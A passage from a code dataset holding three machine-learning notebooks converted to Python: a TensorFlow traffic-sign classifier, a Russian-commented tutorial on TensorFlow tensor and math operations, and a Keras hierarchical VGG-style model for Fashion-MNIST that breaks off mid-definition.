classes\nplt.hist(y_train,bins=n_cls) \nplt.show()\n\n# ## Step2: Preprocess & Data augmentation\n\n# +\n#convert images to YUV, and only leave Y channel\n\nX_train_YUV, X_test_YUV = np.zeros_like(X_train), np.zeros_like(X_test)\nX_train_Y = np.zeros((n_train,X_train.shape[1],X_train.shape[2]))\nX_test_Y = np.zeros((n_test,X_test.shape[1],X_test.shape[2]))\n\nfor i in range(n_train):\n X_train_YUV[i] = cv2.cvtColor(X_train[i], cv2.COLOR_BGR2YUV)\n X_train_Y[i] = X_train_YUV[i][:,:,0]\n \nfor i in range(n_test):\n X_test_YUV[i] = cv2.cvtColor(X_test[i], cv2.COLOR_BGR2YUV)\n X_test_Y[i] = X_test_YUV[i][:,:,0]\n\nX_train = X_train_Y\nX_test = X_test_Y\n \nprint (X_train.shape)\nprint (X_test.shape)\n\n\n# +\n#helper function to jetter data\n\ndef transform_image(img,ang_range,trans_range,shear_range):\n \n # Rotation\n ang_rot = np.random.uniform(ang_range)-ang_range/2\n rows,cols = img.shape \n Rot_M = cv2.getRotationMatrix2D((cols/2,rows/2),ang_rot,1)\n\n # Translation\n tr_x = trans_range*np.random.uniform()-trans_range/2\n tr_y = trans_range*np.random.uniform()-trans_range/2\n Trans_M = np.float32([[1,0,tr_x],[0,1,tr_y]])\n\n # Shear\n pts1 = np.float32([[5,5],[20,5],[5,20]])\n pt1 = 5+shear_range*np.random.uniform()-shear_range/2\n pt2 = 20+shear_range*np.random.uniform()-shear_range/2\n pts2 = np.float32([[pt1,5],[pt2,pt1],[5,pt2]])\n shear_M = cv2.getAffineTransform(pts1,pts2)\n \n img = cv2.warpAffine(img,Rot_M,(cols,rows))\n img = cv2.warpAffine(img,Trans_M,(cols,rows))\n img = cv2.warpAffine(img,shear_M,(cols,rows))\n \n return img\n\n#generate additional training data\nX_train_large = np.zeros((n_train*2,32,32))\ny_train_large = np.zeros((n_train*2),dtype=np.int)\n\nfor i in range(n_train*2):\n y_train_large[i] = y_train[i%n_train]\n if i > (n_train-1):\n X_train_large[i] = transform_image(X_train[i%n_train],20,3,5) \n else:\n X_train_large[i] = X_train[i]\n\nn_train = n_train*2 \nX_train = X_train_large\ny_train = y_train_large \n\nprint(X_train.shape)\nprint(y_train.shape)\n\n# +\n#flatten the images\nX_train = np.reshape(X_train,(-1,img_size_flat))\nX_test = np.reshape(X_test,(-1,img_size_flat))\n\n#helper function to normalize the images\ndef normalize_greyscale(image_data):\n a = 0.1\n b = 0.9\n greyscale_min = 0\n greyscale_max = 255\n return a + ( ( (image_data - greyscale_min)*(b - a) )/( greyscale_max - greyscale_min ) ) \n\n#normalize the images\nnormalize_greyscale(X_train)\nnormalize_greyscale(X_test)\n\n#split the data into training/validation/testing sets.\nX_train, X_validation, y_train, y_validation = train_test_split(X_train,y_train,test_size=0.15)\n\n#save the classes \ny_train_cls, y_validation_cls, y_test_cls = y_train, y_validation, y_test\n\n#onehot encode labels\nonehot_cls = []\nfor i in range (n_cls):\n onehot_cls.append(i) \ny_train = label_binarize(y_train, classes = onehot_cls)\ny_validation = label_binarize(y_validation, classes = onehot_cls)\ny_test = label_binarize(y_test, classes =onehot_cls)\n\nprint ('X_train shape:',X_train.shape)\nprint ('X_validation shape:',X_validation.shape)\nprint ('y_train shape:',y_train.shape)\nprint ('y_validation shape:',y_validation.shape)\n\n\n# -\n\n# helper function for plotting traffic signs images,\ndef plot_images(images, cls_true, cls_pred=None):\n assert len(images) == len(cls_true) == 9\n \n # Create figure with 3x3 sub-plots.\n fig, axes = plt.subplots(3, 3)\n fig.subplots_adjust(hspace=0.3, wspace=0.3)\n\n for i, ax in enumerate(axes.flat):\n # Plot image.\n ax.imshow(images[i].reshape(img_shape), cmap='binary')\n \n # Show true and predicted classes.\n if cls_pred is None:\n xlabel = \"True: {0}\".format(cls_true[i])\n else:\n xlabel = \"True: {0}, Pred: {1}\".format(cls_true[i], cls_pred[i])\n\n ax.set_xlabel(xlabel)\n \n # Remove ticks from the plot.\n ax.set_xticks([])\n ax.set_yticks([])\n\n\n#plot ramdom images to check\nX_train, y_train, y_train_cls = shuffle(X_train,y_train,y_train_cls)\nplot_images(images=X_train[:9],cls_true=y_train_cls[:9])\nplt.show()\n\n\n# ## Step3: Model Architecture\n\n# ### model structure\n\n# +\ndef new_weights(shape):\n return tf.Variable(tf.truncated_normal(shape, stddev=0.05))\ndef new_biases(length):\n return tf.Variable(tf.constant(0.05, shape=[length]))\n\n#Helper-function for creating a new Convolutional Layer\ndef new_conv_layer(input, # The previous layer.\n n_input_channels, # Num. channels in prev. layer.\n filter_size, # Width and height of each filter.\n n_filters, # Number of filters.\n use_pooling=True): # Use 2x2 max-pooling.\n\n # Shape of the filter-weights for the convolution.\n shape = [filter_size, filter_size, n_input_channels, n_filters]\n\n # Create new weights aka. filters with the given shape.\n weights = new_weights(shape=shape)\n\n # Create new biases, one for each filter.\n biases = new_biases(length=n_filters)\n\n # Create the TensorFlow operation for convolution.\n layer = tf.nn.conv2d(input=input,\n filter=weights,\n strides=[1, 1, 1, 1],\n padding='SAME')\n\n # Add the biases to the results of the convolution.\n layer += biases\n\n # Use pooling to down-sample the image resolution?\n if use_pooling:\n # 2x2 max-pooling\n layer = tf.nn.max_pool(value=layer,\n ksize=[1, 2, 2, 1],\n strides=[1, 2, 2, 1],\n padding='SAME')\n\n # Rectified Linear Unit (ReLU).\n layer = tf.nn.relu(layer)\n\n # return both the resulting layer and the filter-weights\n return layer, weights\n\n#Helper-function for flattening a layer\ndef flatten_layer(layer):\n # Get the shape of the input layer.\n layer_shape = layer.get_shape()\n\n # The number of features is: img_height * img_width * num_channels\n n_features = layer_shape[1:4].num_elements()\n \n # Reshape the layer to [num_images, num_features].\n layer_flat = tf.reshape(layer, [-1, n_features])\n\n # Return both the flattened layer and the number of features.\n return layer_flat, n_features\n\n#Helper-function for creating a new Fully-Connected Layer\ndef new_fc_layer(input, # The previous layer.\n n_inputs, # Num. inputs from prev. layer.\n n_outputs, # Num. outputs.\n use_relu=True): # Use Rectified Linear Unit (ReLU)?\n\n # Create new weights and biases.\n weights = new_weights(shape=[n_inputs, n_outputs])\n biases = new_biases(length=n_outputs)\n\n # Calculate the layer as the matrix multiplication of\n # the input and weights, and then add the bias-values.\n layer = tf.matmul(input, weights) + biases\n\n # Use ReLU?\n if use_relu:\n layer = tf.nn.relu(layer)\n\n #dropouts\n layer = tf.nn.dropout(layer, keep_prob) \n \n return layer\n\n\n# +\n#Placeholder variables\nx = tf.placeholder(tf.float32, shape=[None, img_size_flat], name='x')\nx_conv = tf.reshape(x, [-1, img_size, img_size, 1])\n\ny = tf.placeholder(tf.float32, shape=[None, n_cls], name='y')\ny_cls = tf.argmax(y, dimension=1)\n\nkeep_prob = tf.placeholder(tf.float32)\n\n# +\n# Convolutional Layer 1.\nfilter_size1 = 5 # Convolution filters are 5 x 5 pixels.\nn_filters1 = 32 # There are 32 of these filters.\n\n# Convolutional Layer 2.\nfilter_size2 = 5 # Convolution filters are 5 x 5 pixels.\nn_filters2 = 64 # There are 72 of these filters.\n\n# Fully-connected layer.\nfc_size = 128 # Number of neurons in fully-connected layer.\n\n# +\n#Convolutional Layer 1\nlayer_conv1, weights_conv1 = \\\n new_conv_layer(input=x_conv,\n n_input_channels=1,\n filter_size=filter_size1,\n n_filters=n_filters1,\n use_pooling=True)\n \n#Convolutional Layer 2\nlayer_conv2, weights_conv2 = \\\n new_conv_layer(input=layer_conv1,\n n_input_channels=n_filters1,\n filter_size=filter_size2,\n n_filters=n_filters2,\n use_pooling=True) \n \n#flatten layer\nlayer_flat, n_features = flatten_layer(layer_conv2) \n \n#Fully-Connected Layer 1\nlayer_fc1 = new_fc_layer(input=layer_flat,\n n_inputs=n_features,\n n_outputs=fc_size,\n use_relu=True) \n \n#fully-connected layer 2\nlayer_fc2 = new_fc_layer(input=layer_fc1,\n n_inputs=fc_size,\n n_outputs=n_cls,\n use_relu=False) \n \n#Predicted Class\ny_pred = tf.nn.softmax(layer_fc2)\ny_pred_cls = tf.argmax(y_pred, dimension=1) \n\n\nprint('1st conv layer:')\nprint(layer_conv1)\nprint('2nd conv layer:')\nprint(layer_conv2)\nprint('flatten layer:')\nprint(layer_flat)\nprint('1st fully connected layer:')\nprint(layer_fc1)\nprint('2nd fully connected layer:')\nprint(layer_fc2)\n \n# -\n\n# ### Training\n\n# +\n#Cost-function to be optimized\ncross_entropy = tf.nn.softmax_cross_entropy_with_logits(logits=layer_fc2, labels=y)\nloss = tf.reduce_mean(cross_entropy)\n\n#Optimization Method\noptimizer = tf.train.AdamOptimizer(learning_rate=0.0001).minimize(loss)\n\n#Performance Measures\ncorrect_prediction = tf.equal(y_pred_cls, y_cls)\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n# -\n\n#parameter configurations\nepochs = 100\nbatch_size = 500\nlearning_rate = 0.0001\n\n# +\n# Measurements use for graphing loss and accuracy\nlog_batch_step = 50\nbatches = []\nloss_batch = []\ntrain_acc_batch = []\nvalid_acc_batch = []\n\n# The accuracy measured against the validation set\nvalidation_accuracy = 0.0\n\nsession = tf.Session()\nsession.run(tf.initialize_all_variables())\nbatch_count = int(ceil(len(X_train)/batch_size))\n\nfor epoch_i in range(epochs):\n \n #shuffle the trainning data\n X_train, y_train = shuffle(X_train,y_train)\n \n # Progress bar\n batches_pbar = tqdm(range(batch_count), desc='Epoch {:>2}/{}'.format(epoch_i+1, epochs), unit='batches')\n \n # The training cycle\n for batch_i in batches_pbar:\n # Get a batch of training features and labels\n batch_start = batch_i*batch_size\n X_train_batch = X_train[batch_start:batch_start + batch_size]\n y_train_batch = y_train[batch_start:batch_start + batch_size]\n \n feed_dict_train = {x: X_train_batch, y: y_train_batch, keep_prob: 0.7}\n \n feed_dict_validation = {x: X_validation, y: y_validation, keep_prob: 1}\n\n # Run optimizer and get loss\n _, l = session.run(\n [optimizer, loss],\n feed_dict=feed_dict_train)\n\n # Log every 50 batches\n if not batch_i % log_batch_step:\n # Calculate Training accuracy and Validation accuracy\n training_accuracy = session.run(accuracy, feed_dict=feed_dict_train)\n validation_accuracy = session.run(accuracy, feed_dict=feed_dict_validation)\n\n # Log batches\n previous_batch = batches[-1] if batches else 0\n batches.append(log_batch_step + previous_batch)\n loss_batch.append(l)\n train_acc_batch.append(training_accuracy)\n valid_acc_batch.append(validation_accuracy)\n \n # Check accuracy against Validation data\n validation_accuracy = session.run(accuracy, feed_dict=feed_dict_validation) \n \nloss_plot = plt.subplot(211)\nloss_plot.set_title('Loss')\nloss_plot.plot(batches, loss_batch, 'g')\nloss_plot.set_xlim([batches[0], batches[-1]])\nacc_plot = plt.subplot(212)\nacc_plot.set_title('Accuracy')\nacc_plot.plot(batches, train_acc_batch, 'r', label='Training Accuracy')\nacc_plot.plot(batches, valid_acc_batch, 'b', label='Validation Accuracy')\nacc_plot.set_ylim([0, 1.0])\nacc_plot.set_xlim([batches[0], batches[-1]])\nacc_plot.legend(loc=1)\nplt.tight_layout()\nplt.show()\n\nprint('Validation accuracy at {}'.format(validation_accuracy))\n# -\n\n# ### Testing\n\n# +\n#test result\nfeed_dict_test = {x: X_test, y: y_test, keep_prob:1}\ncls_pred = session.run(y_pred_cls, feed_dict=feed_dict_test)\ncorrect = (cls_pred == y_test_cls)\ncorrect_sum = correct.sum()\nacc = float(correct_sum) / n_test\n\n# Print the accuracy.\nmsg = \"Accuracy on Test-Set: {0:.1%} ({1} / {2})\"\nprint(msg.format(acc, correct_sum, n_test))\n# -\n\n# ### Step 4: Test the Model on New Images\n\n# +\n#load images\nimg1,img2,img3 = cv2.imread('test-image/1.jpg'),cv2.imread('test-image/2.jpg'),cv2.imread('test-image/3.jpg') \nimg4,img5,img6 = cv2.imread('test-image/4.jpg'),cv2.imread('test-image/5.jpg'),cv2.imread('test-image/6.jpg') \nimg7,img8,img9 = cv2.imread('test-image/7.jpg'),cv2.imread('test-image/8.jpg'),cv2.imread('test-image/9.jpg') \n\nX_test2 = np.array((img1,img2,img3,img4,img5,img6,img7,img8,img9))\n\n#convert images\nX_test2_YUV = np.zeros_like(X_test2)\nX_test2_Y = np.zeros((9,32,32))\n\n#convert to YUV images, and leave only Y channel\nfor i in range(9):\n X_test2_YUV[i] = cv2.cvtColor(X_test2[i], cv2.COLOR_BGR2YUV)\n X_test2_Y[i] = X_test2_YUV[i][:,:,0]\n\n#flatten the images \nX_test2_Y = np.reshape(X_test2_Y,(-1,1024)) \nX_test2 = X_test2_Y\n\n#normalize images\nnormalize_greyscale(X_test2)\n\n#labels\ny_test2_cls = [4,2,14,13,38,39,36,35,25]\n\n#one-hot encode the labels \ny_test2 = label_binarize(y_test2_cls, classes = onehot_cls)\n\nplot_images(images=X_test2, cls_true=y_test2_cls, cls_pred=None)\nplt.show()\nprint(y_test2.shape)\n\n# +\n#test result\nfeed_dict_test = {x: X_test2, y: y_test2, keep_prob:1}\ncls_pred = session.run(y_pred_cls, feed_dict=feed_dict_test)\ncorrect = (cls_pred == y_test2_cls)\ncorrect_sum = correct.sum()\nacc = float(correct_sum) / 9\n\n# Print the accuracy.\nmsg = \"Accuracy on Test-Set: {0:.1%} ({1} / {2})\"\nprint(msg.format(acc, correct_sum, 9))\n# -\n\n#plot the images and predictions\nplot_images(images=X_test2, cls_true=y_test2_cls, cls_pred=cls_pred)\nplt.show()\n\n### Visualize the softmax probabilities here.\n### Feel free to use as many code cells as needed.\nsm = session.run(y_pred,feed_dict=feed_dict_test)\nres = np.zeros((9,5),dtype=int)\nfor i in range(9):\n certainty = np.amax(sm[i])\n res[i] = np.argsort(sm[i])[::-1][:5]\n msg = \"prediction certainty: {0:.1%}\"\n print('image',i+1,msg.format(certainty))\n print('top 5 predictions:',res[i],' true class:',y_test2_cls[i])\n print()\n\nsession.close()\n","repo_name":"FisherShi/UDACITY_Traffic-Sign-Classifier","sub_path":"Traffic_Signs_Recognition.ipynb","file_name":"Traffic_Signs_Recognition.ipynb","file_ext":"py","file_size_in_byte":15898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"37689652338","text":"import tensorflow as tf\nimport numpy as np\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n\n# ### Функции автозаполнения\n\n# #### Создать матрицу, заполненную нулями: tf.zeros\n\na = tf.zeros((3, 3))\na\n\n# #### Создать матрицу, заполенную единицами: tf.ones\n\nb = tf.ones((5, 3))\nprint(b)\n\n# #### Создать матрицу, заполненную единицами, на основе формы другой матрицы: tf.ones_like\n\nc = tf.ones_like(a)\nc\n\narr = np.array([[1, 2], [3, 4]], dtype=int)\nff = tf.ones_like(arr)\nff\n\n# #### Создать матрицу, заполненную нулями, на основе формы другой матрицы: tf.zeros_like\n\nd = tf.zeros_like(b)\nd\n\n# #### Создать матрицу с единицами на главной диагонали: tf.eye\n\nf = tf.eye(3)\nf\n\ng = tf.eye(3, 2)\ng\n\n# #### Создание копии тензоров с сохранением их значений: tf.identity\n\nh = tf.identity(d)\nh\n\n# #### Заполнить матрицу заданной формы заданным значением: tf.fill\n\ni = tf.fill((2, 3,), -1)\ni\n\n# #### Создание тензора из диапазона значений с заданным шагом: tf.range\n\nj = tf.range(1, 3, 0.2)\nj\n\n# ### Генерация случайных чисел\n\n# #### Создать тензор и заполнить его значениями по нормальному закону распределения: tf.random.normal\n\na = tf.random.normal((2, 4), 0, 0.1) # 0 - мат ожидание распределения, 0.1 - стандартное отклонение\na\n\n# #### То же, только значения величин в диапазоне +-2сигма (ст. откл): tf.random.truncated_normal\n\nc = tf.random.truncated_normal((1, 5), -1, 0.1) # -1 - мат ожидание распределения, 0.1 - стандартное отклонение\nc\n\n# #### Создать тензор и заполнить его значениями по равномерному закону распределения: tf.random.uniform\n\nb = tf.random.uniform((3, 3), -1, 1) # 0 - мат ожидание распределения, -1 и 1 - границы распределения\nb\n\n# #### Установить значение зерна генератора случайных чисел (для воспроизведения одних и тех же значений величин): tf.random.set_seed\n\ntf.random.set_seed(1)\n\ntf.random.truncated_normal((1, 7), 3, 1) #тут одинаково\n\ntf.random.set_seed(1)\ntf.random.truncated_normal((1, 7), 3, 1) # и тут одинаково!\n\n# #### Перемешать значения в матрице относительно горизонтальной оси (перемешать строки): tf.random.shuffle\n\nb\n\nb1 = tf.random.shuffle(b)\nb1\n\ntf.random.shuffle\n\n# ### Математические операции\n\n# #### Сложение: tf.add\n\na = tf.constant([1, 2, 3])\nb = tf.constant([2, 3, 4])\n\ntf.add(a, b) # тип данных двух тензоров должен быть одинаковым!\n\na + b #аналог\n\n# #### Вычитание: tf.subtract\n\ntf.subtract(a, b)\n\na - b # аналог\n\n# #### Деление: tf.divide\n\ntf.divide(b, a)\n\nb / a\n\nb // a\n\n# #### Умножение: tf.multiply\n\ntf.multiply(a, b)\n\na * b\n\n# #### Возведение в степень\n\na ** 2\n\ntf.square(a) # в квадрат\n\n# #### Векторное внешнее умножение: tf.tensordot(a, b, axes=0)\n\na = tf.constant([1, 2, 3])\nb = tf.constant([2, 3, 4])\n\ntf.tensordot(a, b, axes=0)\n\n# #### Векторное внутреннее умножение: tf.tensordot(a, b, axes=1)\n\ntf.tensordot(a, b, axes=1) # 1*2 + 2*3 + 3*4\n\n# #### Умножение матриц: tf.matmul\n\na1 = tf.constant(tf.range(1, 10), shape=(3, 3))\nb1 = tf.constant(tf.range(5, 14), shape=(3, 3))\nprint(a1.numpy(), b1.numpy(), sep='\\n')\n\ntf.matmul(a1, b1) # 1 строка 1-й мат��ицы * 1 столбец 2-й матрицы и т.д.\n\na1 @ b1 # аналог\n\n# #### Сумма всех элементов матрицы: tf.reduce_sum\n\nn = tf.tensordot(a, b, axes=0)\nn.numpy()\n\ntf.reduce_sum(n)\n\ntf.reduce_sum(n, axis=[0, 1]) # аналог\n\n# #### Сумма элементов матрицы по столбцам\n\ntf.reduce_sum(n, axis=0)\n\n# #### Сумма элементов матрицы по строкам\n\ntf.reduce_sum(n, axis=1)\n\n# #### Среднее арифметическое значений в матрице: tf.reduce_mean\n\ntf.reduce_mean(n)\n\ntf.reduce_mean(n, axis=0)\n\ntf.reduce_mean(n, axis=1)\n\n# #### Минимум и максимум в матрице: tf.reduce_min, tf.reduce_max\n\ntf.reduce_min(n)\n\ntf.reduce_max(n)\n\n# #### Произведение всех элементов матрицы между собой: tf.reduce_prod\n\ntf.reduce_prod(n)\n\n# #### Квадратный корень (только для матриц с вещественными числами): tf.sqrt\n\ntf.sqrt(tf.cast(a, dtype=tf.float32)) # значения вектора предварительно преобразуются в вещественный тип\n\n# #### Тригонометрические функции: tf.sin tf.cos и т.д.\n\ntf.sin(tf.range(-3.14, 3.14, 1)) #аргумент должен состоять из вещественных или комплексных чисел\n\ntf.cos(0.5)\n\naa = tf.constant(tf.range(1, 10), shape=(3, 3))\nbb = tf.eye(3, dtype=tf.int32)\naa, bb\n\n\n","repo_name":"shemakale/tensorflow-learn","sub_path":"tf_2 math operations.ipynb","file_name":"tf_2 math operations.ipynb","file_ext":"py","file_size_in_byte":5670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"9444724874","text":"# + [markdown] id=\"view-in-github\" colab_type=\"text\"\n# \"Open\n\n# + id=\"6ROcAIK8Ro3j\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} outputId=\"578f056a-bff9-4884-bd5e-263bc54c5bdb\"\nimport keras\nimport numpy as np\nimport pickle\nimport os\nfrom keras.models import Model\nfrom keras.layers import Dense, Dropout, Activation, Flatten, Conv2D, MaxPooling2D, Input\nfrom keras.initializers import he_normal\nfrom keras import optimizers\nfrom keras.callbacks import LearningRateScheduler, TensorBoard\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.utils.data_utils import get_file\nfrom keras.utils import to_categorical\nfrom keras import backend as K\n\n\n# + id=\"6VUzeFYqSJ4z\" colab_type=\"code\" colab={}\ndef scheduler(epoch):\n learning_rate_init = 0.001\n if epoch > 42:\n learning_rate_init = 0.0002\n if epoch > 52:\n learning_rate_init = 0.00005\n return learning_rate_init\n\n\n# + id=\"wcImVh4DSOlH\" colab_type=\"code\" colab={}\ndef unpickle(filename):\n file = os.path.join(data_dir, filename)\n with open(file, 'rb') as fo:\n dict = pickle.load(fo, encoding='bytes')\n return dict\n\n\n# + id=\"fo8Vte6QSQo7\" colab_type=\"code\" colab={}\nclass LossWeightsModifier(keras.callbacks.Callback):\n def __init__(self, alpha, beta, gamma):\n self.alpha = alpha\n self.beta = beta\n self.gamma = gamma\n # customize your behavior\n def on_epoch_end(self, epoch, logs={}):\n if epoch == 15:\n K.set_value(self.alpha, 0.1)\n K.set_value(self.beta, 0.8)\n K.set_value(self.gamma, 0.1)\n if epoch == 25:\n K.set_value(self.alpha, 0.1)\n K.set_value(self.beta, 0.2)\n K.set_value(self.gamma, 0.7)\n if epoch == 35:\n K.set_value(self.alpha, 0)\n K.set_value(self.beta, 0)\n K.set_value(self.gamma, 1)\n\n\n# + id=\"cHRdAijgSWNq\" colab_type=\"code\" colab={}\nheight, width = 28, 28\nchannel = 1\nif K.image_data_format() == 'channels_first':\n input_shape = (channel, height, width)\nelse:\n input_shape = (height, width, channel)\n\n# + id=\"RogXJi1LSal1\" colab_type=\"code\" colab={}\ntrain_size = 60000\ntest_size = 10000\n\ncoarse1_classes = 2\n\ncoarse2_classes = 6\n\nnum_classes = 10\n\nbatch_size = 128\nepochs = 60\n\n# + id=\"8L6W9zD_ShYd\" colab_type=\"code\" colab={}\nlog_filepath = './tb_log_vgg19_hierarchy_dynamic/'\nweights_store_filepath = './vgg19_weights_hierarchy_dynamic/'\nretrain_id = '101'\nmodel_name = 'weights_vgg16_fashionmnist'+retrain_id+'.h5'\nmodel_path = os.path.join(weights_store_filepath, model_name)\n\n# + id=\"Eaw3ksGjSpL-\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 51} outputId=\"8cb6030b-b2c3-457f-f7ed-5c41e1f84091\"\nWEIGHTS_PATH = 'https://github.com/fchollet/deep-learning-models/releases/download/v0.1/vgg19_weights_tf_dim_ordering_tf_kernels.h5'\nweights_path = get_file('vgg19_weights_tf_dim_ordering_tf_kernels.h5',\n WEIGHTS_PATH,\n cache_subdir='models')\n\n# + id=\"A2z3Kwp9SwQe\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 153} outputId=\"0bed4b5e-84f1-4c21-af3a-e06d1a26bac6\"\n\n(train_images, train_labels), (test_images, test_labels) = keras.datasets.fashion_mnist.load_data()\nclass_names = ['T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat',\n 'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot']\nclass_names_c1 = ['Clothes', 'Goods']\nclass_names_c2 = ['Tops', 'Bottoms', 'Dresses', 'Outers', 'Accessories', 'Shoes']\n\n# + id=\"QbgOKEQVSz4n\" colab_type=\"code\" colab={}\nc2_to_c1 = {0:0, 1:0, 2:0, 3:0, 4:1, 5:1}\nfine_to_c2 = {0:0, 1:1, 2:0, 3:2, 4:3, 5:5, 6:0, 7:5, 8:4, 9:5}\n\n\n# + id=\"xeN3sb4NS256\" colab_type=\"code\" colab={}\ndef print_mappings(mapping, source, dest):\n for k,v in mapping.items():\n print(source[k], \"->\", dest[v])\n\n\n# + id=\"54fs6L7JS4sj\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 306} outputId=\"0189148e-a9e2-4d18-a7cd-e31ba79958a0\"\nprint_mappings(c2_to_c1, class_names_c2, class_names_c1)\nprint(\"-\"*10)\nprint_mappings(fine_to_c2, class_names, class_names_c2)\n\n# + id=\"jRu_S33ZS7IU\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} outputId=\"67a35fc4-11f6-45eb-92e0-52f60385d5af\"\ntrain_images.shape\n\n# + id=\"Khz2Ip6iS9YQ\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} outputId=\"05b0f89c-7d6d-4755-a0d6-9bcec24c8949\"\ntrain_labels_fine = to_categorical(train_labels)\ntrain_labels_fine.shape\n\n# + id=\"40YDy2ggS_ZX\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} outputId=\"e177b105-a06e-4bea-fa9d-0cc73a82daab\"\ntest_labels_fine = to_categorical(test_labels)\ntest_labels_fine.shape\n\n# + id=\"zCQmimNhTBjW\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} outputId=\"92cc3bca-f881-4e51-c406-95be283f2e1a\"\ntrain_labels_c2_index = [fine_to_c2[i] for i in train_labels]\ntrain_labels_c2 = to_categorical(train_labels_c2_index)\ntrain_labels_c2.shape\n\n# + id=\"tVuPp-CTTFBr\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} outputId=\"5f0f5f7a-a788-42ec-d011-edff4caabe2c\"\ntest_labels_c2_index = [fine_to_c2[i] for i in test_labels]\ntest_labels_c2 = to_categorical(test_labels_c2_index)\ntest_labels_c2.shape\n\n# + id=\"44KM5uKKTHH7\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} outputId=\"e15584b1-fc4b-43c8-dd84-7225d02585bd\"\ntrain_labels_c1_index = [c2_to_c1[i] for i in train_labels_c2_index]\ntrain_labels_c1 = to_categorical(train_labels_c1_index)\ntrain_labels_c1.shape\n\n# + id=\"TEv0fduhTJoM\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} outputId=\"627da23d-2933-41ba-ef47-4b86fdab98c4\"\ntest_labels_c1_index = [c2_to_c1[i] for i in test_labels_c2_index]\ntest_labels_c1 = to_categorical(test_labels_c1_index)\ntest_labels_c1.shape\n\n# + id=\"foamauGcTMCk\" colab_type=\"code\" colab={}\nx_train = train_images[..., np.newaxis]\nx_test = test_images[..., np.newaxis]\n\ny_train = train_labels_fine\ny_test = test_labels_fine\n\ny_c1_train = train_labels_c1\ny_c1_test = test_labels_c1\n\ny_c2_train = train_labels_c2\ny_c2_test = test_labels_c2\n\n# + id=\"INOsQkxYTOdp\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 153} outputId=\"53fc46ec-383b-4083-daf8-1da1bf6c16ae\"\nprint(\"x_train shape: \", x_train.shape)\nprint(\"x_test shape: \", x_test.shape)\n\nprint(\"y_train shape: \", y_train.shape)\nprint(\"y_test shape: \", y_test.shape)\nprint(\"y_c1_train shape: \", y_c1_train.shape)\nprint(\"y_c1_test shape: \", y_c1_test.shape)\nprint(\"y_c2_train shape: \", y_c2_train.shape)\nprint(\"y_c2_test shape: \", y_c2_test.shape)\n\n\n# + id=\"aNSqfsvSTSPX\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} outputId=\"89a7523b-1184-4e69-b8d6-61409d4dd3f9\"\nalpha = K.variable(value=0.98, dtype=\"float32\", name=\"alpha\") \nbeta = K.variable(value=0.01, dtype=\"float32\", name=\"beta\") \ngamma = K.variable(value=0.01, dtype=\"float32\", name=\"gamma\") \n\nimg_input = Input(shape=input_shape, name='input')\nimg_input\n\n# + id=\"zbD-VUbjTVO6\" colab_type=\"code\" colab={}\n#block 1 \nx = Conv2D(64, (3, 3), activation='relu', padding='same')(img_input)\nx = BatchNormalization()(x)\nx = Conv2D(64, (3, 3), activation='relu', padding='same')(x)\nx = BatchNormalization()(x)\nx = MaxPooling2D((2, 2), strides=(2, 2))(x)\n\n#block 2 \nx = Conv2D(128, (3, 3), activation='relu', padding='same')(x)\nx = BatchNormalization()(x)\nx = Conv2D(128, (3, 3), activation='relu', padding='same')(x)\nx = BatchNormalization()(x)\nx = MaxPooling2D((2, 2), strides=(2, 2))(x)\n\n#coarse 1 \nc_1_bch = Flatten(name='c1_flatten')(x)\nc_1_bch = Dense(256, activation='relu')(c_1_bch)\nc_1_bch = BatchNormalization()(c_1_bch)\nc_1_bch = Dropout(0.5)(c_1_bch)\nc_1_bch = Dense(256, activation='relu')(c_1_bch)\nc_1_bch = BatchNormalization()(c_1_bch)\nc_1_bch = Dropout(0.5)(c_1_bch)\nc_1_pred = Dense(coarse1_classes, activation='softmax')(c_1_bch)\n\n#block 3 \nx = Conv2D(256, (3, 3), activation='relu', padding='same')(x)\nx = BatchNormalization()(x)\nx = Conv2D(256, (3, 3), activation='relu', padding='same')(x)\nx = BatchNormalization()(x)\nx = Conv2D(256, (3, 3), activation='relu', padding='same')(x)\nx = BatchNormalization()(x)\nx = Conv2D(256, (3, 3), activation='relu', padding='same')(x)\nx = BatchNormalization()(x)\nx = MaxPooling2D((2, 2), strides=(2, 2))(x)\n\n#coarse 2\nc_2_bch = Flatten(name='c2_flatten')(x)\nc_2_bch = Dense(1024, activation='relu')(c_2_bch)\nc_2_bch = BatchNormalization()(c_2_bch)\nc_2_bch = Dropout(0.5)(c_2_bch)\nc_2_bch = Dense(1024, activation='relu')(c_2_bch)\nc_2_bch = BatchNormalization()(c_2_bch)\nc_2_bch = Dropout(0.5)(c_2_bch)\nc_2_pred = Dense(coarse2_classes, activation='softmax')(c_2_bch)\n\n#block 4 \nx = Conv2D(512, (3, 3), activation='relu', padding='same')(x)\nx = BatchNormalization()(x)\nx = Conv2D(512, (3, 3), activation='relu', padding='same')(x)\nx = BatchNormalization()(x)\nx = Conv2D(512, (3, 3), activation='relu', padding='same')(x)\nx = BatchNormalization()(x)\nx = Conv2D(512, (3, 3), activation='relu', padding='same')(x)\nx = BatchNormalization()(x)\nx = MaxPooling2D((2, 2), strides=(2, 2))(x)\n\n\n#block 